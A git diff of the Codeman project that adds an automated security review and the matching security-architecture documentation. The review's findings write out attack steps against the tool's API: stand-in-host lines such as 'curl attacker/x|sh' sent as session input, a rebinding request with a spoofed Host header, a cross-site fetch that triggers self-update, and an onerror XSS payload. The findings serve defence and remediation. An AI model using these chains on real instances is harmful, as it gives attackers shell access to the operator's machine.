> trusts an unsigned git tag — needs signing infra) and dropping CSP
|
||||
> `'unsafe-inline'` (needs a nonce migration; H4's escaping already neutralises the
|
||||
> known XSS). Per‑finding breakdown in the *Implementation status* section below;
|
||||
> regression tests in `test/network-host-guard.test.ts`.
|
||||
|
||||
**Scope:** whole codebase (branch `master`, v0.9.4). Adversarial multi-agent review: 10 dimension specialists → diverse-lens skeptic verification of every finding (HIGH/CRITICAL got 3 independent refutation passes) → completeness-critic sweep. 47 raw findings → **25 survived verification** (+1 from the critic). 22 were refuted (mostly "already inside the OS trust boundary" same-uid claims and doc-accuracy nits). Several exploits were **confirmed live** with `curl` against throwaway test ports.
|
||||
|
||||
## TL;DR — the one thing that matters
|
||||
|
||||
The default, *documented-as-safe* configuration (loopback bind + no `CODEMAN_PASSWORD`) is **remotely exploitable to RCE by any website the operator merely visits.** Every session runs `--dangerously-skip-permissions`, so "send input to a session" == "run arbitrary shell as the operator." Two missing, standard controls cause almost all of the serious findings:
|
||||
|
||||
- **(A) No `Host`-header allowlist** → DNS-rebinding turns a malicious page into a same-origin client of `127.0.0.1`.
|
||||
- **(B) No global Origin/CSRF check on state-changing routes, plus a global `text/plain` body parser** → a plain cross-site `fetch` (a CORS "simple request", no preflight) submits JSON to the API. Write-only access is enough for RCE.
|
||||
|
||||
Fix (A) + (B) + drop CSP `unsafe-inline` / escape the subagent panel, and the two CRITICALs and 5 of the 7 HIGHs collapse.
|
||||
|
||||
> Note: this is *not* a claim that the existing trust model is wrongly documented. `docs/security-architecture.md` is unusually honest. The problem is that the model assumes "loopback + no password" is safe against a browsing operator — and the browser (DNS rebinding + the text/plain parser) breaks that assumption.
|
||||
|
||||
---
|
||||
|
||||
## CRITICAL
|
||||
|
||||
### C1 — No `Host`-header allowlist → DNS rebinding → full API → RCE (default no-auth install)
|
||||
`src/web/server.ts:1697` (listen, no host validation) · `src/web/middleware/auth.ts:163-211` (no Host check). Actor: A2 (malicious website) ⇒ A1-equivalent RCE. **3/3 verifiers confirmed; live-confirmed.**
|
||||
|
||||
A page on `evil.example` (DNS TTL≈1s) is loaded by the operator, then DNS is rebound to `127.0.0.1`. Subsequent `fetch('http://evil.example:3000/...')` are now **same-origin** with Codeman (so CORS never engages), and with no password there are no credentials to miss. The page does `POST /api/sessions {workingDir}` → reads the session id from the same-origin response → `POST /api/sessions/<id>/input {input:"curl attacker/x|sh\r"}`. Confirmed: `curl -H 'Host: attacker.evil.com' -X POST -d '{"workingDir":"/tmp"}' http://127.0.0.1:<port>/api/sessions` → `200`.
|
||||
|
||||
**Fix:** early `onRequest` hook (before routing) that rejects any request whose `Host` is not in `{localhost, 127.0.0.1, ::1, configured --host, CODEMAN_ALLOWED_HOSTS}` with `403`. This is *the* standard anti-rebinding control for localhost dev servers and the single highest-value fix.
|
||||
|
||||
### C2 — Global `text/plain` content-type parser JSON-parses every body → cross-site CSRF *without* rebinding
|
||||
`src/web/server.ts:710-716`. Actor: A2. **3/3 verifiers confirmed; live-confirmed.**
|
||||
|
||||
A global parser registered for `text/plain` runs `JSON.parse` on the body of **every** route. `text/plain` is a CORS *simple* content type, so a cross-origin `fetch(..., {method:'POST', headers:{'Content-Type':'text/plain'}, body:'{...}'})` reaches the handler **with no preflight**. SameSite=lax + reflected-CORS don't help: on the no-auth default there's no cookie to gate, and the side effect happens regardless of whether the attacker can read the response. Confirmed: cross-origin (`Origin: https://evil.com`) `POST /api/sessions` with `Content-Type: text/plain` → `200` (session created); same against `/input` parsed+validated the JSON body.
|
||||
|
||||
**Fix:** remove the global `text/plain` JSON parser (parse the one crash-diagnostics body inside its own handler), **and** add a global same-origin/CSRF guard on all non-GET routes (see H3). Combine with C1's Host allowlist so the host comparison itself can't be rebound.
|
||||
|
||||
---
|
||||
|
||||
## HIGH
|
||||
|
||||
### H1 — Self-update is unauthenticated/CSRF-triggerable → forced update + RCE pivot
|
||||
`src/web/routes/system-routes.ts:313`. Actor: A1/A2. **3/3 confirmed.**
|
||||
`fetch('http://127.0.0.1:3000/api/system/update',{method:'POST',mode:'no-cors'})` from any page (no body, no preflight) kicks off the detached updater on a no-password install. On its own: forced pull/rebuild/restart (availability + forces the latest tag). Chained with H2: full RCE.
|
||||
**Fix:** require Origin/CSRF on this route *independent of the password*; refuse self-update when no password is set; mint a confirmation token via a prior GET.
|
||||
|
||||
### H2 — Self-updater builds an **unsigned, unverified** git tag (no signature / commit pin) *(contested 2/3)*
|
||||
`scripts/self-update.sh:139`. Actor: A5 + A1/A2 trigger.
|
||||
`isValidReleaseTag` validates only the *tag name* (`^(codeman|aicodeman)@\d+\.\d+\.\d+$`) and version ordering — never the commit. Anyone who can push a `codeman@9.9.9` tag (or compromise release CI) gets `git checkout --force` + `npm install` (arbitrary lifecycle scripts) + build + restart, as the operator. One verifier refuted on the basis that the *trigger* is auth-gated when a password is set — true, but the default has no password and H1 supplies the trigger.
|
||||
**Fix:** verify integrity, not just the name — GPG-signed tags (`git verify-tag` against a shipped maintainer key) or pin to a SHA published out-of-band; `npm ci --ignore-scripts` + an explicit audited build step; pin the remote to the expected GitHub repo.
|
||||
|
||||
### H3 — CSRF/Origin validation exists on exactly one route; the RCE-enabling routes have none
|
||||
`src/web/routes/session-routes.ts:1570-1600` (only `paste-image` is protected) vs `:229` create, `:595` input, `:635` send-key, `:404` delete. Actor: A2. **3/3 confirmed.**
|
||||
The team clearly knows the correct control (it's on `paste-image`) but didn't apply it broadly.
|
||||
**Fix:** a shared `onRequest` guard for all non-GET API routes: `Origin`/`Referer` host ∈ Host allowlist **and** `Sec-Fetch-Site == same-origin`. Global, not per-route.
|
||||
|
||||
### H4 — Stored XSS in the subagent activity panel (raw AI tool name/inputs → `innerHTML`; `unsafe-inline` ⇒ executes)
|
||||
`src/web/public/panels-ui.js:808-811` (and `:1403`). Actor: A3 (AI/subagent/MCP output), reachable by A1/A2. **3/3 confirmed.**
|
||||
`renderSubagentDetail()` sets `innerHTML` with un-escaped `a.tool`, `toolDetail.primary`, `displayText`. A subagent tool **name** (no length cap) or a short Bash command like `<img src=x onerror=...>` (28 chars, under the 100-char input truncation) is parsed as HTML in the operator's DOM; CSP `unsafe-inline` lets the `onerror` run → reads cookies, drives every same-origin API (i.e. types commands into a skip-permissions session), or hits the self-updater. `_renderActivityItem` is inconsistent: line 1404 escapes, line 1403 doesn't.
|
||||
**Fix:** `escapeHtml()` those fields at the sink; and drop `unsafe-inline` from `script-src` (move inline handlers to `addEventListener`/nonce) so a missed escape can't execute.
|
||||
|
||||
### H5 — WebSocket terminal route has no Origin/Host check (CSWSH + rebinding → drives skip-permissions agent)
|
||||
`src/web/routes/ws-routes.ts:62`. Actor: A2 / A1-via-tunnel. **3/3 confirmed.**
|
||||
WS upgrades aren't subject to SOP; with no password and no Origin/Host check, a cross-site page (or rebound origin) opens `ws://host/ws/sessions/<id>/terminal` and sends `{"t":"i","d":"curl attacker/x|bash\r"}`.
|
||||
**Fix:** validate `Origin` + `Host` on the upgrade, `socket.close(4003)` on mismatch (reuse the loopback-origin logic + the C1 Host allowlist).
|
||||
|
||||
### H6 — `PUT /api/settings {tunnelEnabled:true}` spawns a public cloudflared tunnel (CSRF/rebinding publishes the authless instance) *(completeness-critic find)*
|
||||
`src/web/routes/system-routes.ts:523-535`. Actor: A2 ⇒ A1. **Confirmed; no CSRF on this route.**
|
||||
If `cloudflared` is installed (the project encourages it), a cross-site `PUT` flips on a tunnel; the public `*.trycloudflare.com` URL is broadcast over SSE and exposed at `GET /api/tunnel/info` / `/api/tunnel/qr`. The attacker reads it → unauthenticated **internet** access to the skip-permissions API.
|
||||
**Fix:** treat tunnel-start as privileged — CSRF/Origin check on `PUT /api/settings`; refuse to start a tunnel when `CODEMAN_PASSWORD` is unset; don't echo the public URL on unauthenticated endpoints.
|
||||
|
||||
### (H→operational) The no-password default *is* the unauthenticated RCE surface once reachable off-host *(contested 2/3)*
|
||||
`src/web/middleware/auth.ts:45-46`. This is the *documented* trust boundary, so it's operational hardening rather than a code bug: on `--host 0.0.0.0`/LAN/tunnel without a password, any client `POST /input` → RCE. **Fix:** fail-closed (or auto-generate+print a random password) when binding non-loopback / starting a tunnel without one; constrain `workingDir` to an allowlist (cases dir / `$HOME`) to shrink blast radius.
|
||||
|
||||
---
|
||||
|
||||
## MEDIUM
|
||||
|
||||
| # | Finding | Location | Fix |
|
||||
|---|---------|----------|-----|
|
||||
| M1 | **Command injection via *discovered* tmux session name** — `muxName` taken verbatim from a live tmux session (only `startsWith('codeman-')` filtered), flows into double-quoted `execSync` in `sessionExists()`/`killSession()` **without** `isValidMuxName`. Reached on boot via `startInteractive→muxSessionExists`. Actor A4 (shared `tmux -L codeman` socket). | `src/tmux-manager.ts:925`, `:1065` | Convert these two sinks to argv form (`execFile('tmux',[...,'-t',muxName])`) like the others, **and/or** reject discovered names failing `SAFE_MUX_NAME_PATTERN` in `reconcileSessions()`. |
|
||||
| M2 | **Forged hook events over a loopback-terminating tunnel** — `/api/hook-event` bypasses auth on loopback IP, but cloudflared/tailscale-serve connect *from* `127.0.0.1` (Fastify `trustProxy:false`). A forged `idle_prompt`/`stop` drives a respawn that injects the operator's update prompt + `/clear` + `/init` into a live skip-permissions session; forged `transcript_path` streams arbitrary readable files to SSE. The in-code comment "prevents forged hook events via tunnel/LAN" is **false**. *(contested 2/3; impact real)* | `src/web/middleware/auth.ts:83-90` | Gate the bypass on a per-boot shared secret in the hook curl (`X-Codeman-Hook-Secret`), not `req.ip`. Require a password when a tunnel is active. Reject `transcript_path` outside the session workingDir. Fix the comment. |
|
||||
| M3 | **Session cookie binds nothing** — recorded `ip`/`ua` never enforced on reuse → stolen-cookie replay from anywhere; no absolute lifetime cap (refresh-on-get extends forever). | `src/web/middleware/auth.ts:102-106` | Compare `record.ip` (+ optional UA hash) on reuse; cap absolute session lifetime. |
|
||||
| M4 | **Non-loopback bind w/o password starts and only warns** (0.9.0 warn-don't-block) → real A1 exposure on misconfig; warning is a one-time stderr line. | `src/web/server.ts:1708-1724`, `src/cli.ts:486-500` | Consider fail-closed default; at minimum log to `session-lifecycle.jsonl` + persistent UI banner. |
|
||||
| M5 | **tail-file SSE route escapes the per-session boundary** — uses a *divergent* validator that `~`-expands and whitelists `/var/log` + `~/logs`, so an authorized caller streams files outside every session's workingDir (e.g. `/var/log/auth.log`). Doc overclaims "all file routes share `validateSessionFilePath`". | `src/web/routes/file-routes.ts:341`, `src/file-stream-manager.ts:400` | Route through `validateSessionFilePath()`, or drop the extra roots + `~` expansion; fix the doc. |
|
||||
| M6 | **Session display name accepts arbitrary chars** (`z.string().max(100)`, no regex) — safe only by downstream escaping (which H4 shows isn't uniform). | `src/web/schemas.ts:135,138,384` | Strip control chars / angle brackets at the schema (defense-in-depth). |
|
||||
| M7 | **Blind SSRF via attacker-supplied web-push endpoint**, triggerable through the loopback-exempt `/api/hook-event` (and via C2/CSRF). Stored endpoint URL is fetched server-side. | `src/web/server.ts:1630` (+ `src/push-store.ts`) | Allowlist known push-service hosts; reject endpoints resolving to loopback/private/link-local/169.254.169.254; re-check IP at send time (rebind-safe). |
|
||||
|
||||
---
|
||||
|
||||
## LOW / INFO (hardening)
|
||||
|
||||
- **L1** QR per-IP failure limiter + oldest-cookie eviction + body-less `/api/auth/revoke` → session/lockout DoS, all amplified behind a shared tunnel IP. `system-routes.ts:182-194` *(contested)*.
|
||||
- **L2 / L3** CSP `script-src 'unsafe-inline'` (nullifies XSS defense-in-depth app-wide) + unused `https://cdn.jsdelivr.net` with no SRI. `auth.ts:170-176` *(contested; tie into H4 fix)*.
|
||||
- **L4** `trustProxy:false` + loopback tunnels defeat the IP-based hook-event exemption (root cause of M2). `auth.ts:79-90`.
|
||||
- **L5** ralph-wizard file route uses bypassable `startsWith()` prefix containment. `case-routes.ts:424`.
|
||||
- **L6** Push subscription store has no cap → unbounded growth. `push-store.ts:70-95`.
|
||||
- **L7** VAPID private key / state / settings / audit log written `0644` in a `775` data dir; the implied `0o700` hardening is a no-op. `config/instance.ts:54` *(contested — A4/same-host only)*.
|
||||
- **L8** Unauthenticated `DELETE /api/sessions[/:id]` on the default install. `session-routes.ts:404` *(contested)*.
|
||||
- **INFO** Wide `record`/`passthrough` schemas allow arbitrary-key mass-assignment into per-instance JSON config. `schemas.ts:505,509-516`.
|
||||
- **INFO** `docs/security-architecture.md:301` overclaims supply-chain hardening and omits the self-updater as a trust surface (see H1/H2).
|
||||
|
||||
---
|
||||
|
||||
## What's solid (credit where due)
|
||||
|
||||
The verifiers **refuted 22** candidate findings — the defenses below held under adversarial scrutiny:
|
||||
|
||||
- **Request-facing command injection is well defended.** Every shell-interpolated value from an HTTP route (`workingDir`, `model`, `allowedTools`, `effort`, `resumeSessionId`, OpenCode config, env-override key/value, span-displays URL, cloudflared port, update tag, tail path) is either argv-form (no shell) or allowlist-regex-validated at the sink. `muxName=codeman-<uuid8>` is server-generated. The only gap is the *discovered*-name path (M1).
|
||||
- **Self-update command construction** is hardened (argv spawn, anchored `isValidReleaseTag`, double-quoted `$TAG`). The weakness is *integrity* (H2), not injection.
|
||||
- **Primary file-read boundary** `validateSessionFilePath` (realpath-before-check + `relative()` containment) correctly resists `../`, absolute paths, symlinks, sibling-prefix tricks; image upload uses `lstat`+`O_NOFOLLOW`+`O_EXCL`.
|
||||
- **Input validation** funnels through Zod + `parseBody`; env-override allowlist enforces the `CLAUDE_CODE_`/`OPENCODE_` prefix **and** a `BLOCKED_ENV_KEYS` set (`PATH`, `LD_PRELOAD`, `NODE_OPTIONS`, …) re-checked at apply time.
|
||||
- **Auth pipeline internals** are competent: timing-safe Basic compare, 256-bit opaque server-side session tokens, rejection-sampled base62 QR codes over 256-bit tokens with single-use atomic consumption, `logger:false` (no credential logging).
|
||||
- **Same-uid "attacks"** (tmux socket input injection, `/proc/<pid>/environ`, tmux `showenv` key disclosure) were refuted as already inside the OS trust boundary — a same-user process can already do anything to its peers.
|
||||
|
||||
---
|
||||
|
||||
## Implementation status (2026-06-09)
|
||||
|
||||
Priority fixes 1–3 + 5 landed in the same session (verified live with curl/ws against an isolated instance):
|
||||
|
||||
- ✅ **C1** — `Host`-header allowlist (`registerHostGuard` in `middleware/auth.ts`, policy in `network-auth-policy.ts`). Allows loopback/any-IP-literal/bind-host/`.ts.net`/`.trycloudflare.com`/`.cfargotunnel.com`/active-tunnel/`CODEMAN_ALLOWED_HOSTS`; rejects rebound custom domains.
|
||||
- ✅ **C2** — global `text/plain` parser no longer JSON-parses (crash-diag self-parses); plus the global cross-site Origin guard.
|
||||
- ✅ **H1, H3, H6** — global Origin/CSRF guard on all non-GET routes (covers self-update, session create/input, settings/tunnel).
|
||||
- ✅ **H4** — escaped all AI-derived sinks in `panels-ui.js` (tool name, tool detail, toolUseId, displayText).
|
||||
- ✅ **H5** — Origin/Host check on the WebSocket upgrade (`ws-routes.ts`).
|
||||
- ⏳ **H2** — deferred: needs signed-tag infra (no maintainer key yet); `npm ci --ignore-scripts` would break node-pty's native build, so not applied blindly.
|
||||
- ⏳ **CSP `unsafe-inline` removal** — deferred: inline `onclick=` handlers are pervasive; needs a nonce migration (H4's sink-escaping already neutralizes the known XSS).
|
||||
|
||||
Tests: `test/network-host-guard.test.ts` (19), `test/routes/ws-routes.test.ts` (22). Operational note: any custom reverse-proxy domain must be added via `CODEMAN_ALLOWED_HOSTS=host,.suffix`.
|
||||
|
||||
## Remediation priority
|
||||
|
||||
1. **Add a `Host`-header allowlist** (`onRequest`, pre-routing). → kills C1, blunts H5/H6 rebinding. *Highest value, smallest change.*
|
||||
2. **Remove the global `text/plain` JSON parser + add a global same-origin/CSRF guard** on all non-GET routes. → kills C2, H1, H3, H6; blunts M7. Reuse the `paste-image` pattern globally.
|
||||
3. **Drop CSP `unsafe-inline` and `escapeHtml()` the subagent panel fields** (`panels-ui.js:808-811,1403`). → kills H4, closes L2/L3.
|
||||
4. **Add tag-signature/commit verification to the self-updater** + `npm ci --ignore-scripts`. → kills H2.
|
||||
5. **Validate Origin/Host on the WS upgrade** (`ws-routes.ts:62`). → kills H5.
|
||||
6. **Refuse to start a tunnel / non-loopback bind without a password** (or auto-generate one). → closes the operational HIGH + M4 + H6's precondition.
|
||||
7. Sweep the MEDIUMs: M1 (argv tmux sinks), M2 (hook secret), M5 (tail validator), M7 (push SSRF allowlist).
|
||||
|
||||
*Generated by an automated adversarial multi-agent review (97 agents, ~4.8M tokens). Findings were independently verified but should be confirmed by a human before remediation; the live-confirmed exploits (C1, C2) are the highest-confidence items.*
|
||||
@@ -177,8 +177,52 @@ requests as local:
|
||||
up (it does not gate the hook‑event exemption, but it gates everything else and
|
||||
is the documented practice). Prefer `tailscale serve` (below), which authenticates
|
||||
at the tailnet layer so untrusted clients never reach the loopback port at all.
|
||||
A future hardening could gate the hook‑event exemption on a shared secret while a
|
||||
tunnel is active.
|
||||
|
||||
### Host‑header & Origin allowlist (DNS‑rebinding & CSRF defense)
|
||||
|
||||
Since **0.9.5** an **always‑on** `onRequest` hook (`registerHostGuard`,
|
||||
`src/web/middleware/auth.ts`; policy in `src/web/network-auth-policy.ts`) runs
|
||||
**before** the auth pipeline in §2 and guards **every** request — including the
|
||||
localhost‑only exemptions above, SSE, the WebSocket upgrade, and static files. It
|
||||
closes the browser‑driven RCE path (DNS rebinding plus a cross‑site `text/plain`
|
||||
`POST`) that the loopback‑no‑password default otherwise exposed to any site the
|
||||
operator merely visits.
|
||||
|
||||
- **Host allowlist (anti‑DNS‑rebinding).** The `Host` header is validated on
|
||||
**every** request, all methods. A custom domain rebound to `127.0.0.1` is
|
||||
rejected with `403 Forbidden: host not allowed` before any handler runs. Allowed:
|
||||
`localhost`; **any** IP literal (IPv4/IPv6 — a browser hitting a numeric address
|
||||
can't be a rebinding victim); the bind host; the suffixes `.ts.net`,
|
||||
`.trycloudflare.com`, `.cfargotunnel.com`; the hostname of the active
|
||||
Codeman‑managed tunnel; and anything in `CODEMAN_ALLOWED_HOSTS`. A missing/empty
|
||||
`Host` is rejected.
|
||||
- **Origin / CSRF guard.** On **state‑changing** methods (everything except
|
||||
`GET`/`HEAD`/`OPTIONS`) the `Origin` header must also pass the same allowlist,
|
||||
else `403 Forbidden: cross‑site request blocked`. A **missing `Origin` is
|
||||
allowed** (so `curl`, the CLI, and Claude Code hooks keep working); only a
|
||||
present‑but‑foreign origin — or the opaque `null` origin (sandboxed iframe) — is
|
||||
rejected. This blocks the cross‑site CSRF that could previously create sessions,
|
||||
trigger self‑update, or flip `tunnelEnabled`.
|
||||
- **Raw `text/plain` bodies.** The global `text/plain` content‑type parser no
|
||||
longer JSON‑parses bodies — it hands handlers the raw string (`/api/crash-diag`
|
||||
self‑parses its beacon payload). This removes the CORS "simple request" CSRF
|
||||
vector, where a cross‑site `fetch` with `Content-Type: text/plain` smuggled a
|
||||
JSON body into a write route with no preflight — defense‑in‑depth alongside the
|
||||
Origin guard.
|
||||
- **WebSocket upgrades.** The terminal WS upgrade (`src/web/routes/ws-routes.ts`)
|
||||
runs the **same** Host + Origin check and closes with code `4003` on failure
|
||||
(anti‑CSWSH).
|
||||
|
||||
The policy is rebuilt per request from
|
||||
`buildHostPolicy(bindHost, tunnelManager.getUrl())`, so starting or stopping a
|
||||
tunnel at runtime updates the allowlist with no restart.
|
||||
|
||||
> **Reverse‑proxy operators:** a custom proxy domain (e.g. `codeman.example.com`)
|
||||
> is **not** in the default allowlist and gets `403 host not allowed`. Add it via
|
||||
> `CODEMAN_ALLOWED_HOSTS` — comma‑separated, case‑insensitive; an exact hostname
|
||||
> matches only itself, while a leading‑dot entry (`.corp.internal`) matches the
|
||||
> bare domain **and** all subdomains. Behaviour is covered by
|
||||
> `test/network-host-guard.test.ts`.
|
||||
|
||||
---
|
||||
|
||||
@@ -262,6 +306,20 @@ injected from API JSON (`innerHTML`), not via `file-raw`, so they are unaffected
|
||||
is **defense‑in‑depth, not the primary boundary** — the realpath containment is
|
||||
the control.
|
||||
|
||||
### SSE log‑tail route — intentional extra read roots
|
||||
|
||||
The live file‑tail SSE route (`FileStreamManager`, used to stream a growing log
|
||||
into the UI) does **not** use `validateSessionFilePath`; it has its own validator
|
||||
with a deliberately **wider** allowlist: the session `workingDir` **plus two
|
||||
read‑only log roots — `/var/log` and `~/logs`** — so operators can tail
|
||||
system/app logs. `/tmp` is intentionally excluded (world‑writable). Like the
|
||||
other routes it `realpath`s the target and re‑checks right before spawning `tail`
|
||||
(TOCTOU guard), and it is read‑only. This is the one place the per‑session
|
||||
boundary is intentionally relaxed; on a password‑protected remote deployment an
|
||||
authenticated user can therefore read `/var/log` and `~/logs` outside their
|
||||
session dir. (Security review M5: this divergence is by design and is now
|
||||
documented here rather than silently diverging from the per‑session claim above.)
|
||||
|
||||
### Known limitation — `workingDir` scope
|
||||
|
||||
The file‑route boundary is the session's `workingDir`, and `POST /api/sessions`
|
||||
@@ -342,6 +400,12 @@ production layout (`~/.codeman`, `-L codeman`, port 3000).
|
||||
(CDN fallback for a few libraries). `script-src` and `style-src` additionally
|
||||
allow `'unsafe-inline'` — relevant to the SVG/HTML handling in §5, where the
|
||||
`octet-stream` + `nosniff` download (not the CSP) is what blocks execution.
|
||||
Because `'unsafe-inline'` is still present (removing it needs a nonce
|
||||
migration), AI‑derived strings rendered into the subagent/activity panels are
|
||||
HTML‑escaped at the injection sites (`escapeHtml` in
|
||||
`src/web/public/constants.js`; sinks in `panels-ui.js` / `subagent-windows.js`)
|
||||
so a hostile tool name or argument can't execute — defense‑in‑depth from the
|
||||
2026‑06‑09 review (H4).
|
||||
- `connect-src` allows `wss://api.deepgram.com` (streaming voice input).
|
||||
- `img-src` allows `data:` and `blob:` (inline / generated images, QR codes).
|
||||
- `frame-ancestors 'self'`.
|
||||
@@ -367,6 +431,7 @@ production layout (`~/.codeman`, `-L codeman`, port 3000).
|
||||
|------------|--------|
|
||||
| `CODEMAN_PASSWORD` (+ `CODEMAN_USERNAME`) | Enable HTTP Basic auth |
|
||||
| `--host` / `CODEMAN_HOST` | Bind host (default `127.0.0.1`) |
|
||||
| `CODEMAN_ALLOWED_HOSTS` | Extra `Host`/`Origin` allowlist entries for reverse proxies (comma‑separated; exact host, or leading‑dot `.suffix` for subdomains) — see §3 |
|
||||
| `--allow-unauthenticated-network` / `CODEMAN_ALLOW_UNAUTHENTICATED_NETWORK` | Acknowledge an unauthenticated non‑loopback bind (downgrades the warning) |
|
||||
| `--https` | Enable TLS (adds HSTS) |
|
||||
| `CODEMAN_INSTANCE` | Scope tmux socket + data dir for isolation |
|
||||
@@ -379,9 +444,9 @@ production layout (`~/.codeman`, `-L codeman`, port 3000).
|
||||
|
||||
| Concern | File |
|
||||
|---------|------|
|
||||
| Bind‑host classification, env‑flag parsing | `src/web/network-auth-policy.ts` |
|
||||
| Bind‑host classification, env‑flag parsing, Host/Origin allowlist (`buildHostPolicy` / `isAllowedRequestHost` / `isAllowedRequestOrigin`) | `src/web/network-auth-policy.ts` |
|
||||
| Start‑and‑warn policy | `src/web/server.ts` (`WebServer.start()`) |
|
||||
| Auth pipeline, rate limiting, security headers, CORS | `src/web/middleware/auth.ts` |
|
||||
| Auth pipeline, rate limiting, security headers, CORS, Host/Origin guard (`registerHostGuard`) | `src/web/middleware/auth.ts` |
|
||||
| File‑path containment (realpath‑before‑check) | `src/web/route-helpers.ts` (`validateSessionFilePath`) |
|
||||
| File routes, caps, SVG handling, download blocklist | `src/web/routes/file-routes.ts` |
|
||||
| Instance/socket/data‑dir scoping | `src/config/instance.ts` |
|
||||
|
||||
@@ -0,0 +1,79 @@
|
||||
# Versioning & Stability Policy
|
||||
|
||||
Codeman follows [Semantic Versioning](https://semver.org/) (`MAJOR.MINOR.PATCH`),
|
||||
managed via `@changesets/cli` (see the COM workflow in `CLAUDE.md`).
|
||||
|
||||
This document defines **what the version number actually promises** — i.e. which
|
||||
surfaces are covered by SemVer and which are explicitly not. It exists because
|
||||
"1.0" is a commitment to stability, and an undocumented public surface invites
|
||||
incompatible client assumptions we would then be pressured to keep.
|
||||
|
||||
> **Status:** finalized for the 1.0 cut. The HTTP/SSE API **is** part of the stable
|
||||
> surface — served under `/api/v1` with a uniform response envelope and
|
||||
> conventional HTTP status codes. See [`api-reference.md`](api-reference.md).
|
||||
|
||||
## What SemVer covers (the public, stable surface)
|
||||
|
||||
A **MAJOR** bump is required to break any of these after 1.0:
|
||||
|
||||
1. **The CLI.** Command names, documented flags, and their behavior for
|
||||
`codeman <command>` (published to npm as `aicodeman`; invoked as `codeman`).
|
||||
This is the package's actual public entry point (`bin`).
|
||||
- The package is published to npm as `aicodeman` and installs **both** the
|
||||
`aicodeman` and `codeman` commands (`bin` aliases); `codeman` is the
|
||||
canonical command used throughout the docs. Renaming either after 1.0 is a
|
||||
breaking change.
|
||||
2. **The published `xterm-zerolag-input` library**, but on **its own version
|
||||
line** — it is versioned and released independently of the Codeman app. Its
|
||||
1.0 status is a separate decision; the Codeman app reaching 1.0 does *not*
|
||||
imply `xterm-zerolag-input` is 1.0.
|
||||
3. **Documented environment variables** that configure deployment:
|
||||
`CODEMAN_PASSWORD`, `CODEMAN_USERNAME`, `CODEMAN_HOST`, `CODEMAN_PORT`,
|
||||
`CODEMAN_INSTANCE`, `CODEMAN_ALLOWED_HOSTS`, `CODEMAN_DATA_DIR`,
|
||||
`CODEMAN_TMUX_SOCKET`, and the `--host` / `--port` / `--https` CLI flags.
|
||||
Removing or changing the meaning of one of these is breaking.
|
||||
4. **The HTTP API and SSE event channel**, served under **`/api/v1`** with the
|
||||
uniform `{success:true,data}` / `{success:false,error,errorCode}` envelope and
|
||||
conventional HTTP status codes. Endpoint paths, the response envelope, error
|
||||
`errorCode` values, and SSE event names are stable — see
|
||||
[`api-reference.md`](api-reference.md). *Additive* changes (new endpoints, new
|
||||
optional fields, new error codes, new SSE events) are non-breaking; breaking
|
||||
changes ship under a new prefix (`/api/v2`). The unversioned `/api/...` alias
|
||||
is kept working for the bundled UI.
|
||||
|
||||
## What SemVer does NOT cover (internal surfaces — may change in any release)
|
||||
|
||||
These may change in a **MINOR** (or even PATCH) release without a MAJOR bump:
|
||||
|
||||
1. **The `~/.codeman/` state file formats** (`state.json`, `settings.json`,
|
||||
`mux-sessions.json`, etc.). We make a **best-effort** to migrate existing data
|
||||
forward (and have done so across renames), but the on-disk schema is not a
|
||||
stable contract — do not write tooling that depends on its exact shape.
|
||||
2. **Internal TypeScript modules.** The npm package is CLI-only; `import`ing it
|
||||
programmatically is not supported (there is no stable library entry point).
|
||||
3. **Experimental / opt-in features**, regardless of the app's version:
|
||||
Gesture Control (beta), Agent Teams
|
||||
(`CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS=1`), and anything labeled experimental
|
||||
in the UI or docs. These may change or be removed at any time.
|
||||
|
||||
## Deprecation policy
|
||||
|
||||
When we need to change a covered surface:
|
||||
|
||||
- Prefer **additive** changes (new flag/env var/command) over breaking ones.
|
||||
- A covered surface slated for removal is **deprecated first** — it keeps working
|
||||
for at least one MINOR release with a runtime warning and a `CHANGELOG.md` note
|
||||
pointing to the replacement — then removed in the next MAJOR.
|
||||
- Back-compat migration shims (e.g. the historical Claudeman→Codeman data/socket
|
||||
migration) are kept until a MAJOR boundary, then may be dropped.
|
||||
|
||||
## Pre-1.0 (`0.x`) caveat
|
||||
|
||||
Until 1.0 ships, **any release may contain breaking changes** per SemVer's `0.x`
|
||||
allowance. The commitments above take effect at `1.0.0`.
|
||||
|
||||
## See also
|
||||
|
||||
- `CLAUDE.md` — the COM release workflow (changesets, version bump, deploy)
|
||||
- `SECURITY.md` — security reporting and the supported-version policy
|
||||
- `docs/security-architecture.md` — the full trust model
|
||||
@@ -26,6 +26,13 @@ TARGET_NODE_VERSION="${CODEMAN_NODE_VERSION:-22}"
|
||||
NONINTERACTIVE="${CODEMAN_NONINTERACTIVE:-0}"
|
||||
SKIP_SYSTEMD="${CODEMAN_SKIP_SYSTEMD:-0}"
|
||||
|
||||
# puppeteer is a devDependency used only by scripts/browser-comparison.mjs — its
|
||||
# ~150MB chrome-headless-shell download is never needed to build or run Codeman.
|
||||
# Skipping it avoids a slow download and a fatal install failure when a prior
|
||||
# download left a corrupt cache (folder present, executable missing). Respect an
|
||||
# explicit caller override so contributors can still fetch the browser if needed.
|
||||
export PUPPETEER_SKIP_DOWNLOAD="${PUPPETEER_SKIP_DOWNLOAD:-1}"
|
||||
|
||||
# Claude CLI search paths (from src/utils/claude-cli-resolver.ts)
|
||||
CLAUDE_SEARCH_PATHS=(
|
||||
"$HOME/.local/bin/claude"
|
||||
|
||||
Generated
+5
-4
@@ -1,12 +1,12 @@
|
||||
{
|
||||
"name": "aicodeman",
|
||||
"version": "0.9.4",
|
||||
"version": "0.9.13",
|
||||
"lockfileVersion": 3,
|
||||
"requires": true,
|
||||
"packages": {
|
||||
"": {
|
||||
"name": "aicodeman",
|
||||
"version": "0.9.4",
|
||||
"version": "0.9.13",
|
||||
"hasInstallScript": true,
|
||||
"license": "MIT",
|
||||
"workspaces": [
|
||||
@@ -34,7 +34,8 @@
|
||||
"zod": "^4.3.6"
|
||||
},
|
||||
"bin": {
|
||||
"aicodeman": "dist/index.js"
|
||||
"aicodeman": "dist/index.js",
|
||||
"codeman": "dist/index.js"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@changesets/cli": "^2.29.8",
|
||||
@@ -64,7 +65,7 @@
|
||||
"vitest": "^4.1.8"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=18.0.0"
|
||||
"node": ">=22.0.0"
|
||||
},
|
||||
"optionalDependencies": {
|
||||
"@remotion/compositor-linux-x64-gnu": "^4.0.432",
|
||||
|
||||
+7
-4
@@ -1,12 +1,13 @@
|
||||
{
|
||||
